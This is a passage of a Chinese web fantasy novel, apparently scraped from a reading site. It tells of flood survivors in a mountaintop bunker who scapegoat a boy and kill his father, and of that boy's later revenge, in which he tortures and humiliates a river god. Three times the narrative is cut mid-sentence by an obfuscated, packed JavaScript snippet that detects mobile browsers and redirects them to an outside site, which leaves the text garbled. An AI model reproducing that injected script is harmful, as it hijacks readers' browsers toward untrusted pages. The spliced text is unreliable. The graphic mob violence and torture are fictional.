“爸!真的是你!!!”徐知酬哭着钻进了父亲怀里,“我还以为我再也见不到你了!我还以为,我还以为你们全都已经不在了!我是昏过去了吗?这里是哪啊爸爸!道叔,刘明东叔,老赵爷爷!你们……你们原来全部都在啊!” “知酬啊,你可算是醒了!”刘明东握着他的手说,“外面在发大水,你怎么能到处乱跑啊?我和你爸是在山道上找到你的,要是我们再来晚一点,你今天真的凶多吉少了你知道吗!” 有更多熟面孔围到了徐知酬身边,一番七嘴八舌的交谈之后,他总算是了解了自己当前的处境。 他现在所在的,是一间老旧的人防设施。这里的前身据说是防空洞,后来则被同时用作了仓库。这里密密麻麻堆着许多未开封的木箱,刘明东和徐保英从里面翻出了许多还在保质期内的干粮。 外面雨大,这些干粮正好可以暂时用来充饥。此地位于山顶,短时间内应该不至于会被洪水波及,只是下山的道路都已被淹没,在救援力量到来之前,这里完全可以说是一座小型的孤岛了。不过好在,还有不少人也和他一样来到了这座“岛”上。 徐知酬稍作清点,他发现还有许多平时与他相熟的大人也在这里,其中有他的老师,广场上卖淀粉肠的阿叔,还有经常和道叔一起在树下乘凉的老头。那是赵墨林的爷爷,但徐知酬不知道他叫什么名字。 庇护所里少也说有十来号人。徐保英告诉他,徐知酬和徐知甄已经早早被转移到了市里,本来他也要跟着一起去的,但是实在放心不下大儿子,就自己跑了出来。没想到皇天不负有心人,真让他在山道上找到了已经晕过去了的徐知酬。 只是,雨一直到现在都还没有停。 仓库的墙皮已然脱落,上面用红色油漆写着“严禁烟火”四个字。标语旁边挂了一幅四四方方的纯白油画,徐知酬定睛细看了许久,才发现那其实是一扇窗户。 窗外白茫茫一片,暴雨好似风雪般吞没了万物。密闭环境下空气不太流通,人们三三两两地分散坐在各处,他们大多都还没从先前的恐慌中缓过神来。刘明东等人正忙着清点箱中的干粮,徐知酬抱着膝盖缩在角落,徐保英则一直在旁边轻轻拍打他的后背。 “知酬,现在感觉好多了吗?” “好点了,呜……”徐知酬吸了吸鼻子,欲言又止地问,“爸爸,我感觉好多了,你别担心我。只是……只是我想问一下,既然知甄和知元已经被送走了,那妈妈又去哪里了呢?” 徐保英一听这话,拍打后背的手突然顿住了。 徐知酬几乎是瞬间就明白发生了什么:“难道说她……” “嗯。”徐保英深吸了一口气,“她……我,我们坐船回来的时候,半路突然碰到了暴雨。风刮得太大,船被掀翻了,我们一船上百来号人全都掉到了水里,我是想拉住她的,但是……” 他痛苦地捂住了脸:“但是她把救生服给了我!” 讲到这,徐保英就再也说不下去了。父子两对视一眼,无声地抱在一起哭成了一团。 身边传来同样被强行压抑住的啜泣,徐保英强打精神安慰儿子道:“没事的,知酬啊,我们要向前看……至少你和我都还没事,知甄和知元应该也都安全!只要,只要咱们四个还在一起,就……” “可是他们真的安全吗?”徐知酬泪流满面地问,“我刚才就想问了,但是我一直没敢说!爸爸,我之前,我之前看到家里看到了一条蛇!” 徐保英捂住了他的嘴巴。 他紧张地环视一圈,见其余人都没注意到这里才压低声线问道:“有蛇?” “对,对……有一条很长的蛇,浑身是伤,特别大,从院门口游过,然后又出现在了家里!”徐知酬语无伦次地比划道,“它真的好大好大,我一开门见到它就直接晕过去了!等我醒来的时候知元和知甄他们也不见了,所以我才会到处找他们的!爸,你说他们被人送走了,可到底是谁救的他们啊?我还以为他们都被蛇吃了呢!!” “我也不知道,但是家里怎么会有那么大的蛇?”徐保英眉头紧锁道,“你确定这不是你的幻觉吗?你还看到别的东西没有?” “保英,知酬,过来吃点东西吧!” 刘明东一声吆喝打断了他们的对话,徐保英赶紧起身过去,千恩万谢地从他手中接过两块压缩饼干。 “哎哟,也不知道这个雨什么时候才能停啊。”刘明东一边分发食物一边说,“我听说已经死了好多人,镇上的房子也几乎全就被淹掉了!真是奇了怪了,天气预报明明说这几天都没雨的呀!” 老赵接话道:“对呀!也不知道这是什么情况,我活了六十多年了,从小到大就没见过这么大的雨!” 有人忧心忡忡地问:“这里的东西够我们吃吗?我们还要再被困多久啊!” “这儿是山顶!淹肯定是不能淹到咱们的,就是这信号也没有,人影也见不着,也不知道救援队能不能找到……” “要不派个人出去看看?” “看过了!那雨大得跟石头一样,站一会儿都疼!” “老天爷啊,这么大的雨……我不想死啊……” “我家刚盖的房子啊!就这样全没了……” “这究竟啥情况啊,为什么会突然发这么大的水啊!” “是上游那个大坝的问题吗?” “是不是因为那什么,那个什么什么厄瓜多尔现象!” “那个叫厄尔尼诺吧?” “会不会是有妖精在作怪?” 道叔突然说。 “就山神老爷之前镇压的那个。” 窗外划过了一道闪电。 半秒钟后,隐隐约约的雷声透过窗格,透过山体,透过歇斯底里的狂风,慢慢悠悠地飘进了这座与世隔绝的庇护所中。 那声音听起来,像极了某种生物的咆哮。 没来由的,这里的所有人都冷不丁打了个寒战。 沉默蔓延了有半分多钟,最后还是刘明东率先开口打破了僵局。 “哈哈,这,道叔啊!您老人家这是在说什么呢?什么妖怪啊山神的,这都快二十一世纪了,哪里还有那种东西啊……” 他正想把这个话题打发过去,老赵突然站了起来:“老道,你指的是那个白马的故事吗?” “对,就是那个!”道叔的情绪突然变得十分激动,他唾沫横飞地说道:“你们不觉得奇怪吗?乌枫镇自我记事起就从来没下过这么大的雨!前脚还艳阳高照,完了不到一天时间整个慧阳几乎都被淹完了!咱们这儿自古就是鱼米之乡,老祖宗会选在这儿安家肯定不是没道理的!但为什么现在却出了这种事?还死了那么多的人?你们说的那什么鄂尔多斯现象,它能解释这么奇怪的事情吗?” “是厄尔尼诺啦……”徐知酬小声指正道。 当然,并没有人在乎他说的话。 在场众人的脸色都十分复杂,徐保英眼见气氛陷入凝滞,便鼓起勇气站出来说:“那啥,叔啊,咱今天要不还是先歇歇吧?这外面天也不早了,大人小孩都被吓得不轻,有什么话不如先养精蓄锐,等明天再聊呗?” 刘明东赶忙接话道:“对啊对啊!什么妖啊神啊鬼啊仙啊的,我看都没有睡觉要紧!这天要下雨,娘要嫁人,外面洪水大是大了点,但怎么说也不能和妖怪扯上关系啊!这地方以前不是防空洞吗?连炸弹都能挡住,区区洪水肯定不在话下!我们就好好躲着,然后等人来救我们就可以了!” 人们纷纷点头,道叔闷闷地坐到了角落处。 接下来很长一段时间,都没有人说话。 入夜后,呼吸声此起彼伏。 仓库里没有蜡烛,故而大家就只能在黑暗中默默等待天亮。 有不少人在偷偷地哭,徐知酬在角落蜷缩成一团,他的眼皮困得直打架,但窗外风声太大,他怎样也没法在这种情形下睡着。 况且,他总是忍不住要想起妈妈的事情。 “知酬,知酬?” 有人在喊他,听声音好像是爸爸。徐知酬赶紧抹掉眼泪,小声应和道:“怎么啦?” “你还没睡啊?”徐保英捏了捏他的手掌。 “我,我睡不着……”徐知酬吞吞吐吐地说道,“我想妈妈了……呜……” 他刚要哭出声,突然感觉手背一痒,有什么东西扫过了他的指节。徐保英轻轻掰开他的手掌,将一串有些冰凉的东西放到了他手心里。 “来,这个给你。” 叮铃铃。徐保英握着他的手晃了两下,防空洞里回荡起了一阵清脆悦耳的铃声。 “小风铃,下面还挂着羽毛,听人说叫什么捕梦网,这是爸爸在县里买到的哦。”徐保英得意地说,“你不是最喜欢做手工了么?我当时看到了就觉得你会喜欢!不过现在光线不好,而且它也有点湿了,你等明早再看,这个羽毛是蓝色的,可漂亮了。” “哎!”徐知酬赶紧摸了好几下,他生怕吵醒别人,便小心翼翼地抚摸着羽毛的部位。 “喜欢吗?”徐保英问他。 “喜欢!” “喜欢就好!哦,不过你可不能给弟弟妹妹发现了啊。”徐保英紧张兮兮地说,“我去买的时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16164144|180435||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 候那个摊子上就剩一个了,所以就没他俩的份。你千万要守好口风,不然那俩小混蛋肯定得闹死我!” 徐知酬点头如捣蒜:“好!” “哈哈,这回终于轮到你小子吃独食了啊!”徐保英笑着揉乱了他的头发。然后,他长叹一声,再一次将儿子搂进了怀里。 “爸爸……” “知酬啊,你千万别害怕。” “嗯。” 徐保英搂着他说:“有爸爸在,一切都会变好的。” “我知道。”徐知酬闷闷地说。 “这些年你一个人在家陪着弟弟妹妹,有多辛苦爸爸都看在眼里。之前我和……我和你妈妈一直忙着工作,就想让咱家过上好日子。但这次之后我看开了,就算赚再多的钱,如果一家人不能在一起的话也没有任何意义。爸爸已经决定了,等这次过后,我就不会再去县里上班了。到时候我就每天在家陪着你们,以后你们上学放学都有我接送,你看好不好?” “真的吗?!”徐知酬欣喜地仰起了头。 “真的!爸爸不骗你。你快先睡觉吧,等雨停了我们就去找妈妈。”徐保英抱紧了他,“活要见人死要见尸,我说什么也要把她给带回来。” 在防空洞的第一晚,他们睡得并不安稳。 风声,雨声,还有隐隐约约的求救声,折磨得所有人寝食难安。 接下来的第一整个白天,大家都在彼此互相打气。 有人提议聊一些开心的事情转移注意力,刘明东和徐保英高歌了一曲,唱到高音处时,窗外传来了螺旋桨的轰鸣。 他们手忙脚乱冲出去,却什么都没有看见。 第二天,闲聊的人比前一日少了很多。偶尔有人憋不住了想要说话,也会被其他人用眼神给瞪回去。 每个人都在竖着耳朵聆听,可就连求救声也逐渐消失不见。 第三天,有胆大的人走出门外,在山崖下奔腾的洪流里看到了直升飞机的残骸。 东阳江变成了大家不认识的模样,曾经温柔和煦的水流化作猛兽吞噬了大地,它肆虐到哪里,哪里就是一阵兵荒马乱。 第四天,雨势和洪波都比之前更凶猛了许多。再也没有人呼救了,从那扇小小的窗户往外看,就只能依稀看到山崖边风雨飘摇的老树。 这么大的风,它居然还一直屹立不倒。 “到了第五天,我们发现,箱子底部的压缩饼干全部发霉进了水。而水位也已经涨到了接近半山腰的地方。” “第六、第七和第八天,道叔都在不断地质问,究竟是谁惹怒了东阳江神。” “第九天的时候,人们不得不承认,这绝对不可能是一场普普通通的暴雨。” 防空洞里的人动作凝固了。 哭泣的、争吵的、反驳的、躲避的,惊恐的或兴奋的,愤怒的或绝望的,每个人脸上都溢满了复杂的情绪。 前一秒,他们还在撕心裂肺地争吵,下一秒,他们就仿佛被按下了录像机暂停键一样定在原地不动了。 徐知酬弯下腰去,将那串湿漉漉的捕梦网放到了荣观真手边。 “起来,别装死。”他用力踢了他两下,“不亲眼看看自己造的孽吗?我为了让你看清楚些,可是专门想办法治好了你的眼睛。” 荣观真几乎无法动弹。 他浑身是血,衣衫凌乱,头发湿哒哒地黏在脸上,手臂也十分不自然地搭在了身侧。他额头上的伤疤还在往外冒血,捕梦网的羽尖却带来了一阵有别于疼痛的瘙痒,他缓缓睁开双眼,这久违了的视野令他有些许晃神。 “哟,恢复得可以啊。”徐知酬笑着踩住了他的胸口。 身边传来凌乱喘息,是荣承光和遥英,似乎还有杜政。几乎所有人徐知酬带到了这里,来亲身观演这场二十九年前的重映。 荣观真努力张了张嘴巴。 “你说什么?”徐知酬俯下了身子问。 “……” “大点声儿,听不见。” “……哪里。” “啥?” “你……把他……哪里……” 荣观真不断喘着粗气,他每次开口,胸腔里都会传出一阵可怖的破风声。他的嘴角不断有血漫出,但这并不能阻止他继续追问:“你把那个人……你把我的……我的……弄到哪里去了?” 徐知酬愣了一下。 然后,他露出了恍然大悟的表情。 “哦?你说的是跟在你身边的那只小鸟吗?嗯……我给他弄死了!”他爽朗地说。 “你不问我都忘了,他现在应该已经沉到不知道哪里去了吧!哎哟,你干嘛这么看我啊?荣观真,你这表情好吓人啊!你刚刚不是还很神气的吗?你怎么看起来快哭了?真神奇啊,这难道怪得了别人吗?这难道……不是你自己选的吗?” 46.山上风铃 徐知酬拍拍手,防空洞里的人重新开始了活动。 “乌枫镇之所以会遭此大难,绝对是因为有人破坏了空相山神留下的白马封印!” 道叔激动得唾沫横飞:“我们必须尽快解决这件事情,不然这雨是永远不可能停下来的!” “道叔,你这话究竟是什么意思啊!”连日的饥饿和紧绷令徐保英处在身心俱疲的边缘,但他还是强打精神劝解道,“咱们之前不是已经讨论过了吗?自然灾害和传说是两码事,咱不能把它俩混为一谈呀!” “什么叫混为一谈?我说的就是事实!”道叔瞪大了眼睛,“你难道忘记老祖宗留下来的教训了吗?你爹你娘从小是怎么跟你说的?如果白马变红,东阳江就会发大水!只要惹怒了山神水神,我们就全都会死无葬身之地!这几天晚上我一直在听,外面绝对有妖怪在鬼叫,再不做点什么……再不想想办法,那我们就真的全完了!” 他的吼声回荡在庇护所中,却没能激起太多的波澜。 九天的被困之后,每个人脸上都写满了木然。道叔和徐保英吵得激烈,其余人基本上蹲在角落各干各的。 刘明东在屋里反复踱步,老赵嘴里则不停地念叨着什么,徐知酬躺在角落里不断打着摆子。他发烧了,整张脸都红得像是烂在了地里的番茄。 徐保英仍在试图和道叔讲道理:“不至于完蛋的,真不至于啊道叔!你们先别急,反正这里吃的喝的都有,这些压缩饼干虽然泡坏了……但其实收拾收拾也还是能吃的吧?只要想办法处理一下就好了,我看看……” 道叔怒喝道:“别管什么压缩饼干不压缩饼干的了!现在当务之急是平息山神的怒火!谁知道那个白马雕像现在怎么样了?有没有人能想办法找到它?至少也得知道它为什么会出问题啊!” “道叔,这水这么大,白马肯定早就被冲走了啊!”刘明东终于停下了脚步,他站在房间中央,近乎绝望地对道叔说道:“而且就算找到了又能怎么样呢?我们一不知道究竟是出了什么问题,二又不一定能查清是谁干的……” “……的。” 他突然顿住了。 “是你干的。” 刘明东一个箭步冲到了徐知酬面前。 “明东叔?!”徐知酬被他的表情吓了一大跳,“怎么了这是?您,您为什么要这样看着我……” 刘明东的眼睛瞪得很大。他的脸黑黢黢的,两颗眼珠子像灯泡似地嵌在上面,这让他看起来就像一具尚未完全腐烂的骷髅。 他盯着徐知酬一字一句地说:“知酬啊,你给叔老实交代。是你干的坏事,没错吧?” “刘明东!”徐保英冲上来挡在了他面前,“你别吓到孩子!” 刘明东猛地将徐保英甩开,他抓住徐知酬的肩膀用祈求般的语气问道:“知酬,你就告诉叔吧!其实我老早就觉得不对劲了,上次我在镇口遇见你还有墨林那会儿我就看到你在那拿笔到处比划,然后当天晚上就下雨了!我想起来了那是红色的笔,是你惹怒了山神,这一切都是你做的,你就说我记没记错吧!” 道叔大为震惊:“怎么还有这种事情!你为什么不早说!” “我也是才想起来的!我之前也,也不太确定……那什么,老赵,老赵!” 刘明东扭头喊道:“老赵!我问你!墨林他当时是不是买了盒新的水彩笔?我在镇口看到他俩在玩儿,这小子当时就在拿笔在白马身上乱涂乱画!” 听到赵墨林的名字,老赵稍稍回过了神来。 他张着嘴巴反应了一会儿,然后如梦初醒般地说道:“是,是的!” 老赵连滚带爬地扑到了刘明东跟前:“是的是的是的!你这么一说我就想起来了!墨林他妈前段时间给他买了新水彩笔,他带出去当天晚上就涂坏了!我当时还纳闷呢我说新东西怎么可能坏得这么快!原来是因为他啊,原来是这小子坏了事!!!” “你们不要再异想天开了!”徐保英从地上爬了起来,“我知道大家现在都很害怕,但你们也不能张口就来啊!知酬他还是个孩子他能知道什么,这世上哪有那么多神神鬼鬼的东西——” “徐保英,你给老子闭嘴!”刘明东指着徐保英的鼻子破口大骂道,“老子看你不爽很久了,你别以为你在县里挣了几个子儿就能在外面面前装逼!你要是真不信鬼神,为什么要让你家老二和老三认水神做干爹!你嘴上说的是一套做的又是一套,你这种两面三刀的人,轮不到你来教训我们!” 道叔帮腔道:“对啊!这事儿连我都记着呢!知元和知甄小时候不是经常发烧吗?还是我告诉你可以去找小荣老爷帮忙,就是从那之后他才逐渐好起来的!你别不承认,这个世界上的确是有神仙,你要是再敢说违背良心的话,老天爷保不齐下一个就要收你!” 徐保英被噎住了。 “叔叔爷爷们,你们听我说,事情真的不是你们想的那样的!” 见事态发展不对,徐知酬赶忙解释道:“我不是想给自己开脱,但我我真的没做过那些事情!我那天其实是和墨林在镇口玩儿,他是想要我试试笔,所以我才画了一下,其实我连碰都没碰……” 啪! 徐知酬脸上出现了五个清晰的手指印。 老赵高举着右手,浑身都在止不住地抽搐。 “你这个活该全家死绝的贱种。”他颤抖着说道,“墨林他都已经被带走了,居然还敢往他头上泼脏水!” 在场所有人全部陷入了震惊。 三秒钟后,徐保英怒吼一声,扑上去和老赵扭打作了一团。 刘明东和道叔也冲了上来,他们一个抱住徐保英的腰,另一个则不断地揪打他的头发。老赵看着干瘦,打起架来力气却大得惊人,几个男人们歇斯底里地咒骂着对方,有人试图来拉架却也挨了打,到最后,庇护所里几乎所有人都加入了战局。 混乱中,有人趁机踹了徐知酬好几脚。直到最后他们暂时休战,他也没分清到底是谁对他动的手。 直到大家各自找了角落睡觉,他也依旧感觉脸上火辣辣的疼。 “呜……呜……” 夜色又深了,这是他在暴雨中迎来的第九个夜晚。 耳畔的呼吸声又粗又重,徐保英在不断倒抽着凉气。他受的伤不轻,可这里就连半块纱布也没有。就算有,也没有人会替他包扎。 徐知酬努力抬手替父亲擦去了冷汗,擦着擦着,有好几滴更滚烫的液体砸到了他的手上。 他们相拥而泣。 “睡吧,儿子,睡一觉就好了。”徐保英浑身发抖,但还是在不断地安抚徐知酬的情绪。“睡一觉就好了,真的,先睡觉,等天亮了就什么都好了。” 徐知酬将脸埋进了他怀里。他说:“爸爸,我真的没有做。” “我知道。” “不是我做的事情,我为什么要承认啊……” “爸爸都明白。” “可是,可是他们把你打得好疼。”徐知酬啜泣道,“其实我是不是真的应该认罪?如果真的是因为我……就算不是因为我,我是不是也应该为大家着想一点?” “不是的,知酬。你这样做没有任何问题。” 徐保英搂紧了他。他说:“你可以屈服,也可以不屈服,但这一切都要取决于你想不想。除了你自己之外,没有任何人可以逼迫你说,或者做,或者承认什么事情。就算他们把刀架在了你脖子上,就算所有人都说这就是你的错,只要你不这样认为,你也有资格对他们说,不对!” 庇护所里伸手不见五指,但却没有任何人真的睡着。 接近凌晨的时候,窗外开始频繁打雷。 闪电将室内映得亮如白昼,徐知酬半梦半醒中睁开眼,他看到有两个巨大的黑影站在自己面前。 “出去。”刘明东说。 “跟我去给荣老爷道歉。”道叔把他从地上拎了起来。 慌乱间,他口袋里的捕梦网掉到了地上。一道惊雷盖住了他的惊呼,有好些人已经等在了门边,他们都曾微笑着同他打过招呼,可现在,他们看他的眼神都与陌生人无异。 一阵湿冷的风扑上面门,这是他时隔多日再次呼吸到新鲜空气。雷暴声震耳欲聋,它掩盖住了许多应被察觉的事情。有人把他拖到了崖边,有人用力按住了他的后颈,有人强硬地对他说:“跪下!”还有人揪着他的耳朵要他道歉,有那么多人在告诉他要如何屈服,可到他从头到尾就只说了两个字: 我不! 崖下波涛汹涌,曾经熟悉的小镇早已沉入了江底。这里的天是黑的,雨是黑的,闪电转瞬即逝,它所照亮的大地与河流也同样深不见底。 东阳江像逆流的瀑布,背后传来的叫声怎么听怎么有些耳熟,他无暇辨认那具体是谁,他只知道当他掉下悬崖的时候,推他的远不仅有一双手而已。 徐知酬掉了下去,这是完全在预料中的结果。那棵弱不禁风的老树竟然给他提供了缓冲,这倒是谁也没想到的事情。 他掉到了一段向外突出的平台上,足足五米的落差竟没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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徐保英被吊死在了那棵救了他一命的树上,他的手里还攥着捕梦网,那声音就是这么传出来的。 顶上传来欢呼,那其中满怀着绝处逢生的喜悦。有人泣不成声,有人欢欣鼓舞,有人在对天地不断呼号,到最后有人割开绳子,于是徐知酬最后一次看见了父亲的眼睛。 扑通,江上泛起了一朵不知名的水花。 “扑通。” 徐知酬说: “这就是我作为人,留给这个世界的最后两个字。” 扑通! “如果这是一部现实题材的电影,那么故事讲到这里,放映厅的工作人员就该开灯了。” “但可惜人生不是电影,我的故事也没有就此结束。那之后我并没有死,而是在机缘巧合下遇到了一位高人。” “他收留了我,养大了我,他教给了我复仇的方法,还告诉了我这一切的来龙去脉。可以说,就是他给了我站在你面前的机会。” “哦,顺便告诉你,这里其实并不是幻境。这里是切实存在的空间,刚才那些都是我请的演员。这就意味着如果我在这里杀了你,你就是确确实实地死了。” “不论我在这杀了谁,他都不会有半点生还的可能。” 树上已经没有人了,但江水中还是隐约有风铃声传来。 徐知酬松松垮垮地站在悬崖边,他还戴着那副诡异的山羊脸面具。荣承光的腿折了,他和遥英杜政一起横七竖八地倒在地上,亭云和居星在一旁生死不明,荣观真倚靠在崖壁边,不论徐知酬对他说什么,他都始终沉默地凝望着江水。 就好像这样,他便能从中找回什么东西似的。 见荣观真不答话,徐知酬一拳砸向了他的太阳穴。 “我问你话呢,你对这个故事作何感想?”徐知酬揪着他的头发问,“我请了最专业的演员,最权威的导演,全片根据真实事件改编,至于拍摄手法我也专门学习了很久。这么精彩的故事,我觉得这怎么也能拿个……金鸡百花或者白玉兰奖回来吧?” 荣观真摇了摇头。 “什么啊,你是有意见吗?”徐知酬问。 “不是。” 荣观真抬眼望向徐知酬,刚才那一拳打破了他的眼眶,新鲜血液和着鼻血缓流而下,在他脸上留下了蜿蜒纵横的轨迹。 雨停了,太阳从乌云后探出了脑袋,一小束阳光不偏不倚打在他脸上,使得那对本来沉稳又安静的褐眸,呈现出了略带着些疯狂的琥珀金色。 他的眼神飘忽,既没有在看徐知酬,也没有观察其他倒在他身边的人。 很快徐知酬就发现他其实是在看天,天上什么都没有,大雨初歇,鸟儿们不会在这时候冒险起飞。 “咳……我想说的是……” 荣观真顶着满脸污血,对他露出了一个有些苍白的微笑。 他说:“白玉兰是电视剧奖,你拍电影应该是拿不到的。你这个傻逼。” 47.江中遥云 “……” 徐知酬张开五指,一支由白玉制成的长箭凭空出现在了他手中。 那箭流光溢彩,只消一眼便可知绝非凡物,它在他掌心嗡鸣不已,过三秒后它覆作一束冷光,直直朝荣承光的方向刺了过去。 “承光!小心!” 遥英的动作比他的惊呼到得还要更早,他连滚带爬起身挡到荣承光身前,荣承光还在发愣,就见那箭直接贯穿了遥英的胸口。 “咳啊——!” 玉箭在半空中散作星星光点,巨大冲力将遥英整个撞下了山崖。他所在的地方哗地洒下了几滴血点,然后——扑通。江面上又浮起了一朵毫不起眼的水花。 “遥英!!!!” 荣承光二话不说就要跟着往下跳,硬是被荣观真扯着头发拽了回来。 “你别拦我!我要下去找他!”荣承光崩溃大吼道,“他是人,从这么高地方掉下去他是会死的!我……为什么我动不了?荣观真你为什么要阻止我!你不要在我身上用定身术!我要下去找他,求你……如果没有他我也不用活了!!!” “不想活你可以早点去死,不用假模假式地在老子面前哭丧!”荣观真一把将他扔到了地上,“活了几千年半点长进都没有,除了丢人现眼之外没有任何长处!你当初要是能动动脑子,事情也不会变成如今这个样子,从三渎归一到现在过去多久了,你遇到困难也就只知道哭!” 荣承光无力地趴到了地上。 荣观真用为数不多的法力定住了他的身形,现在的他几乎失去了所有反抗力气。 山风呼呼地吹,那像是谁在回应他的呼唤,但他想见的那个人,却已经消失在了茫茫无际的江水之中。 眼泪与冷汗慢慢渗入泥土,很快就打湿了他身前的一小片地面。 啪,啪,啪。 徐知酬真情实感地鼓起了掌。 “实在太精彩了。我觉得你俩刚才这段表演绝对可以被载入影史。”他发自内心地感叹道,“要我说杜导演就应该考虑把你们收进剧组,真的,你们现在这样子和平时一点也不一样。” “和平时?”荣观真缓缓抬头,“你平时总能见到我吗?” “嗯……倒也不算常见,我只是听说过许多有关于你的传闻而已。”徐知酬耸了耸肩,“小荣老爷我是不太了解啦,但荣观真,你知道其他山神都是怎么评价你的吗?我听说啊,只是听说,他们一致认为,你是有史以来最不择手段的恶神。” 徐知酬开始在悬崖边漫步,风吹得他的白袍猎猎作响。他一边走一边掰着手指细数:“杀母弑亲,祸信害友,并流侵土,装腔作势,这些都是你确确实实做过的事情。你背叛了你的信徒,和你亲爱的弟弟一起吞并了无数河流与土地,你在世人面前表现出大慈大悲的假象,可你甚至从没为因你而死的人忏悔过哪怕一次。因为你作的恶实在太多,你辜负了太多一心一意对你好的人。哦,我这么讲会不会有点逾越?但我不得不说,时妙原死得实在是太可怜了。” “你认识时妙原?”荣观真问。 “我听人说起过他。” “谁?” “这个恕难奉告。不过,我倒是可以分享一个你可能会感兴趣的消息。” 徐知酬俯到荣观真耳边轻声说道:“我听人说,时妙原临死前似乎给你留下了很多东西。嗯……就是那种,又漂亮、又特别,让人实在很是艳羡的宝贝。” “……” “不过,你现在好像把它们弄丢了。” 荣观真咕咚咽下了一口血。 他们之间的距离太近了。徐知酬甚至能看清他眼底密密麻麻的血丝,很难说这是长期失明恢复之后留下的后遗症,还是由于他实在是太想,太想将眼前人碎尸万段。 他们都浑身紧绷。 徐知酬的嘴角依旧噙笑,只是他已然在背后攥紧了拳头,荣观真的脖子上青筋密布,他死死地盯着眼前的人,直到他开始缓慢后退,直到天上又飘下银鳞般的细雨,直到山谷间回荡的冷风忽而大盛,直到——直到荣观真突然放松下来,无所谓地冲徐知酬摊开了掌心。 “先别管死人的事了,”他指着身边横七竖八躺了一地的人们问道,“你准备什么时候才放他们走?” “你说什么?”徐知酬完全没想到会听见这样的台词,他错愕地问:“是我耳朵出问题了还是你脑子真的坏了?荣观真,你刚才是在求我饶你一命吗?” 雨势忽而见长,江面上掠过了一串转瞬即逝的波痕。雨点的力道恼人,关亭云和关居星不约而同地苏醒了过来。 “老爷?”他们半闭着眼咕哝道,“你,你在哪里……” 荣观真看了他们一眼,又接着对徐知酬说道:“之前不是你说要我选的吗?你要我决定是带一个人走,还是让其余人都活下来。既然那个人已经没了,你怎么说也应该让剩下这几个继续活下去吧?” “继续活下去?!荣老爷,你还真是童心未泯啊!”徐知酬仿佛听到了有史以来最大的笑话,“都到这时候了,你居然还妄想全身而退吗!” “那你就冤枉我了。” 荣观真抬手道:“你别误会,我不想全身而退,我一点也不想继续活下去。我只是觉得你和我废了那么多口舌,如果就这样随便把我们都弄死了未免也浪费了。既然我有愧于你,那么我自然该补偿你遭受的损失。说吧,你想从我这里得到什么?你想杀了我也行,想把我扔到十恶大败狱里也完全没有问题,实在不行你可以把我弟弟也留下,退一万步来说那个拍电影的至少没惹你吧?放过他吧,他今天已经够倒霉的了。” 徐知酬上下打量起了荣观真。他的表情十分玩味,就好像在观赏某种奇珍异兽一般。 “我想要什么,你就能给我什么,你是这个意思吗?”他兴致勃勃地问。 “对。” “让我做空相山神。” “那不行。”荣观真想也没想就拒绝了他,“不是我不给,而是你做不到。你不是我家的人,山是不会和你做朋友的。” “你这还家族产业啊?行,那你就意思意思给我磕两个头吧。” 徐知酬一脚踹弯了荣观真的膝盖。 在场所有人都听见了一道清脆的断裂声,荣承光的呼吸突然加速,他看不见眼前的画面,只听见徐知酬发号施令:“我九个,我家里其他人各十二个,连本带利算你总共磕两百个响头应该不过分吧?你放心,我会好好数的,不够的话就让你弟弟补。一家人嘛,你的就是他的,他的就是你的。” 关亭云和关居星缓缓回神,在看清眼前的画面后他们开始怒吼,就连杜政都被吵得几乎要醒了过来。一片喧闹中荣观真默不作声,他咳嗽了两下,然后撑住地面,干脆利落地跪了下去。 咚! 他几乎是整个人砸在地上的。 “第一个。”徐知酬凭空变出一只玉躺椅坐了上去。他欣喜地拍手道:“万事开头难,你接着加油。” “不……别……”荣承光开始发抖,“你不要,你别……” 咚。 “继续,你这不是挺会拜的吗?我还以为荣老爷受惯了别人行大礼,轮到自己可能得适应一阵子呢。” “荣观真!你别这样!” 咚,咚,咚。 “好敷衍啊你,这三个太快了,不算!” “你快停下……你让我来好不好,你让我来!” 咚!咚。 “很好,这两个算是给我父母的。但你别忘了,其他人的也一个都不能少哦。” “你让我来吧!徐知酬!有什么事你冲着我来!我来替他跪!” 咚。 “怎么动作这么慢?拖时间是吧?那再加一点好了。” “荣观真!你把定身术给我解开!” “还不够!” “荣观真,你不许再跪了!” “再加把劲儿!” “你松开我……你让我来!荣观真,你快把我给解开!!!亭云!居星!你们能不能想想办法?来个人……来个人把我放开!!!” “荣观真!!你为什么要这样!!” “你说话啊荣观真!你让我……让我……你让我来好不好……” “徐知酬!我要杀了你!!!!!!” “你听见没有?你弟弟说他要杀我哎!”徐知酬笑得差点连人带椅子摔到江里去,“我好害怕啊!你们吓到我了!再加五十个。” 荣 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16176902|180435||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 观真一一照做。 不知多久以后,他终于停下了动作。 风也止住了呼吸,山林间除雨声外便再无别物。 他撑着胳膊匍匐在地上,他的手掌已被磨破,脸上和头上也全都是被石子蹭出的伤口。他身前的土地已被浸湿,那其中既有雨,也有汗,还有从他口鼻中涌出的鲜血。 “嗯?”徐知酬坐直了身子,“你够数了吗?怎么就停下了。” “我刚刚……”荣观真闷闷地问,“我刚刚,一共给你磕了几个头?” 